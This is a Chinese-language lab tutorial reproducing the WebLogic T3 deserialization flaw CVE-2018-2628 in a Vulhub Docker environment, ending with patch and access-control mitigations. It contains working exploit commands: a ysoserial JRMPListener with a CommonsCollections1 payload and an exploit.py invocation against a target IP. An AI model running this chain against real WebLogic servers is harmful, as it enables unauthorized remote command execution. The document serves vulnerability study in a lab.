Weblogic WLS Core Components 反序列化命令執行漏洞(CVE-2018-2628)
- 00.前言
- 01.簡介
- 02.漏洞描述
- 03.漏洞復現
- 04.漏洞復現
00.前言
這篇文章將對該漏洞進行簡介并復現,同時簡要說明Vulhub的使用方法,適合小白一起學習,大佬看看就好?
01.簡介
??Oracle 2018年4月補丁中,修復了Weblogic Server WLS Core Components中出現的一個反序列化漏洞(CVE-2018-2628),該漏洞通過t3協議觸發,可導致未授權的用戶在遠程服務器執行任意命令,
影響版本:
Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.2
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0
參考鏈接:
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
- http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
- https://github.com/tdy218/ysoserial-cve-2018-2628
02.漏洞描述
??遠程攻擊者可利用該漏洞在未授權的情況下發送攻擊資料,通過T3協議(EJB支持遠程訪問,且支持多種協議,這是Web Container和EJB Container的主要區別)在Weblogic Server中執行反序列化操作,利用RMI(遠程方法呼叫) 機制的缺陷,通過 JRMP 協議(Java Remote Messaging Protocol:java遠程訊息交換協議)達到執行任意反序列化 payload 的目的,
03.漏洞復現
??首先,在vulhub-master中漏洞的相應位置打開終端,輸入docker-compose up -d打開環境:
docker-compose up -d
??然后輸入docker ps查看環境是否打開成功:
docker ps

1、搭建好后訪問http://yourip:7001/console查看是否搭建OK:
2、接下來我們先下載反序列化工具ysoserial和該漏洞的exp,然后利用ysoserial啟動JRMP Server,目的是為了使得觸發漏洞后weblogic所在服務器可以遠程呼叫執行特定的程式:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,[command]即為我想執行的命令,而[listen port]是JRMP Server監聽的埠,
試驗中的IP:
靶機:192.168.10.139
攻擊機kali:192.162.10.129
在kali運行以下命令:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/evil'

接著執行剛剛下載好的exp(python版本為2.7,exploit.py腳本只能在python2上執行),向目標Weblogic(http://your-ip:7001)發送資料包:
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
??其中,[victim ip]和[victim port]是目標weblogic的IP和埠,[path to ysoserial]是本地ysoserial的路徑,[JRMPListener ip]和[JRMPListener port]第一步中啟動JRMP Server的IP地址和埠,[JRMPClient]是執行JRMPClient的類,可選的值是JRMPClient或JRMPClient2,
在kali運行下面的命令:
python exploit.py 192.168.10.139 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.10.129 1099 JRMPClient

可以查看剛剛的監聽是否發送成功:

靶機接收后,我們進入docker容器驗證,使用以下命令:
sudo docker exec -it d29e540b5e8e /bin/bash
其中d29e540b5e8e是該容器的id:

進入后,我們可以查看到在/tmp下,的確有evil存在,至此漏洞復現成功:
最后復現完漏洞就可以關倍訓境了:
docker-compose down
04.漏洞復現
??官方補丁:T3協議漏洞加固的話可以打上官方最新的補丁,可使用正版軟體許可賬戶登錄 https://support.oracle.com,下載最新補丁,
??手工修復:控制T3協議的訪問權限來臨時阻斷漏洞利用,
結束語:這是抬鍋整理出來的復現程序希望能對大家有幫助?
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/319633.html
標籤:其他
